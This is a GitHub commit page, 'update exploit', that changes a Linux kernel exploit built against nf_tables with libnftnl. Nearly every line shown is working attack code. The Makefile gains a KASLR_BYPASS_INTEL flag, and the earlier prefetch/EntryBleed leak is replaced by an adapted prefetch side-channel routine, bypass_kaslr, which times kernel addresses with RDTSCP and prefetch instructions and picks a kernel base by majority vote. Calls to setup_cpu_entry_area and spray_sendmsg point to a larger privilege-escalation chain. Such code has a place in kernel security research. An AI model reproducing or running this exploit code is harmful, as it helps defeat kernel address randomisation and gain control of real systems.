Skip to content

Commit

Permalink
update exploit
Browse files Browse the repository at this point in the history
  • Loading branch information
Mingi Cho committed Jul 22, 2024
1 parent 5d5c053 commit 5ed0c11
Show file tree
Hide file tree
Showing 3 changed files with 192 additions and 108 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@ LIBMNL_DIR = $(realpath ./)/libmnl_build
LIBNFTNL_DIR = $(realpath ./)/libnftnl_build

exploit:
gcc -o exploit exploit.c -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include -static -s
gcc -o exploit exploit.c -DKASLR_BYPASS_INTEL=1 -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include -static -s

prerequisites: libmnl-build libnftnl-build

Expand Down
Binary file not shown.
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,6 @@
#include <linux/rtnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter.h>
#include <linux/keyctl.h>
#include <stddef.h>

#include <libmnl/libmnl.h>
Expand Down Expand Up @@ -554,125 +553,210 @@ void setup(){
portid = mnl_socket_get_portid(nl);
}

#define KERNEL_LOWER_BOUND 0xffffffff80000000ull
#define KERNEL_UPPER_BOUND 0xffffffffc0000000ull

#define STEP_KERNEL 0x100000ull
#define SCAN_START_KERNEL KERNEL_LOWER_BOUND
#define SCAN_END_KERNEL KERNEL_UPPER_BOUND
#define ARR_SIZE_KERNEL (SCAN_END_KERNEL - SCAN_START_KERNEL) / STEP_KERNEL
// KASLR bypass
//
// This code is adapted from https://github.com/IAIK/prefetch/blob/master/cacheutils.h
//
inline __attribute__((always_inline)) uint64_t rdtsc_begin() {
uint64_t a, d;
asm volatile ("mfence\n\t"
"RDTSCP\n\t"
"mov %%rdx, %0\n\t"
"mov %%rax, %1\n\t"
"xor %%rax, %%rax\n\t"
"lfence\n\t"
: "=r" (d), "=r" (a)
:
: "%rax", "%rbx", "%rcx", "%rdx");
a = (d<<32) | a;
return a;
}

#define DUMMY_ITERATIONS 3
#define ITERATIONS 100
inline __attribute__((always_inline)) uint64_t rdtsc_end() {
uint64_t a, d;
asm volatile(
"xor %%rax, %%rax\n\t"
"lfence\n\t"
"RDTSCP\n\t"
"mov %%rdx, %0\n\t"
"mov %%rax, %1\n\t"
"mfence\n\t"
: "=r" (d), "=r" (a)
:
: "%rax", "%rbx", "%rcx", "%rdx");
a = (d<<32) | a;
return a;
}

uint64_t kaslr;

// https://www.willsroot.io/2022/12/entrybleed.html
uint64_t sidechannel(uint64_t addr)
void prefetch(void* p)
{
uint64_t a, b, c, d;
asm volatile(".intel_syntax noprefix;"
"mfence;"
"rdtscp;"
"mov %0, rax;"
"mov %1, rdx;"
"xor rax, rax;"
"lfence;"
"prefetchnta qword ptr [%4];"
"prefetcht2 qword ptr [%4];"
"xor rax, rax;"
"lfence;"
"rdtscp;"
"mov %2, rax;"
"mov %3, rdx;"
"mfence;"
".att_syntax;"
: "=r"(a), "=r"(b), "=r"(c), "=r"(d)
: "r"(addr)
: "rax", "rbx", "rcx", "rdx");
a = (b << 32) | a;
c = (d << 32) | c;
return c - a;
asm volatile (
"prefetchnta (%0)\n"
"prefetcht2 (%0)\n"
: : "r" (p));
}

uint64_t prefetch(int phys)
size_t flushandreload(void* addr) // row miss
{
uint64_t arr_size = ARR_SIZE_KERNEL;
uint64_t scan_start = SCAN_START_KERNEL;
uint64_t step_size = STEP_KERNEL;

uint64_t *data = malloc(arr_size * sizeof(uint64_t));
memset(data, 0, arr_size * sizeof(uint64_t));

uint64_t min = ~0, addr = ~0;

for (int i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++)
{
for (uint64_t idx = 0; idx < arr_size; idx++)
{
uint64_t test = scan_start + idx * step_size;
syscall(104);
uint64_t time = sidechannel(test);
if (i >= DUMMY_ITERATIONS)
data[idx] += time;
}
}

for (int i = 0; i < arr_size; i++)
{
data[i] /= ITERATIONS;

if (data[i] < min)
{
min = data[i];
addr = scan_start + i * step_size;

// printf("addr 0x%lx data %lx\n", addr, data[i]);
}
}

free(data);

return addr;
size_t time = rdtsc_begin();
prefetch(addr);
size_t delta = rdtsc_end() - time;
return delta;
}

// simple most frequent value in array algorithm
size_t mostFrequent(size_t *arr, size_t n)
{
// code here
size_t maxcount = 0;
size_t element_having_max_freq;
for (int i = 0; i < n; i++)
{
size_t Count = 0;
for (int j = 0; j < n; j++)
{
if (arr[i] == arr[j])
Count++;
#define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0]))

int bypass_kaslr(uint64_t base) {
if (!base) {
#ifdef KASLR_BYPASS_INTEL
#define OFFSET 0
#define START (0xffffffff81000000ull + OFFSET)
#define END (0xffffffffD0000000ull + OFFSET)
#define STEP 0x0000000001000000ull
while (1) {
uint64_t bases[7] = {0};
for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
size_t times[(END - START) / STEP] = {};
uint64_t addrs[(END - START) / STEP];

for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
times[ti] = ~0;
addrs[ti] = START + STEP * (uint64_t)ti;
}

for (int i = 0; i < 16; i++) {
for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
uint64_t addr = addrs[ti];
size_t t = flushandreload((void*)addr);
if (t < times[ti]) {
times[ti] = t;
}
}
}

size_t minv = ~0;
size_t mini = -1;
for (int ti = 0; ti < ARRAY_LEN(times) - 1; ti++) {
if (times[ti] < minv) {
mini = ti;
minv = times[ti];
}
}

if (mini < 0) {
return -1;
}

bases[vote] = addrs[mini];
}

int c = 0;
for (int i = 0; i < ARRAY_LEN(bases); i++) {
if (c == 0) {
base = bases[i];
} else if (base == bases[i]) {
c++;
} else {
c--;
}
}

c = 0;
for (int i = 0; i < ARRAY_LEN(bases); i++) {
if (base == bases[i]) {
c++;
}
}
if (c > ARRAY_LEN(bases) / 2) {
base -= OFFSET;
goto got_base;
}

printf("majority vote failed:\n");
printf("base = %llx with %d votes\n", base, c);
}

if (Count > maxcount)
{
maxcount = Count;
element_having_max_freq = arr[i];
#else
#define START (0xffffffff81000000ull)
#define END (0xffffffffc0000000ull)
#define STEP 0x0000000000200000ull
#define NUM_TRIALS 7
// largest contiguous mapped area at the beginning of _stext
#define WINDOW_SIZE 11

while (1) {
uint64_t bases[NUM_TRIALS] = {0};

for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
size_t times[(END - START) / STEP] = {};
uint64_t addrs[(END - START) / STEP];

for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
times[ti] = ~0;
addrs[ti] = START + STEP * (uint64_t)ti;
}

for (int i = 0; i < 16; i++) {
for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
uint64_t addr = addrs[ti];
size_t t = flushandreload((void*)addr);
if (t < times[ti]) {
times[ti] = t;
}
}
}

uint64_t max = 0;
int max_i = 0;
for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++) {
uint64_t sum = 0;
for (int i = 0; i < WINDOW_SIZE; i++) {
sum += times[ti + i];
}
if (sum > max) {
max = sum;
max_i = ti;
}
}

bases[vote] = addrs[max_i];
}

int c = 0;
for (int i = 0; i < ARRAY_LEN(bases); i++) {
if (c == 0) {
base = bases[i];
} else if (base == bases[i]) {
c++;
} else {
c--;
}
}

c = 0;
for (int i = 0; i < ARRAY_LEN(bases); i++) {
if (base == bases[i]) {
c++;
}
}
if (c > ARRAY_LEN(bases) / 2) {
goto got_base;
}

printf("majority vote failed:\n");
printf("base = %llx with %d votes\n", base, c);
}
#endif
}

return element_having_max_freq;
}
got_base:
printf("using kernel base %llx\n", base);

// Since there no KPTI on the remote server (as its CPU is not affected by Meltdown, so the kernel does not turn on KPTI)
// so this is actually prefetch attack. ref: https://gruss.cc/files/prefetch.pdf
void leak_kaslr()
{
size_t temp_kbase[0x8] = {0};
for (int i = 0; i < 0x8; i++)
{
temp_kbase[i] = prefetch(0) - 0x1600000;
// temp_kbase[i] = prefetch(0) - 0x100000;
}
kbase = mostFrequent(temp_kbase, 8);
printf("choose kbase 0x%lx\n", kbase);
kbase = base;
// i64 diff = 0xffffffff81000000 - base;
// printf("diff: %lld\n", diff);

return 0;
}

static void sig_handler(int s) {}
Expand Down Expand Up @@ -749,7 +833,7 @@ void spray_sendmsg() {
void start(){
save_state();

leak_kaslr();
bypass_kaslr(0);

setup_cpu_entry_area();

Expand Down

0 comments on commit 5ed0c11

Please sign in to comment.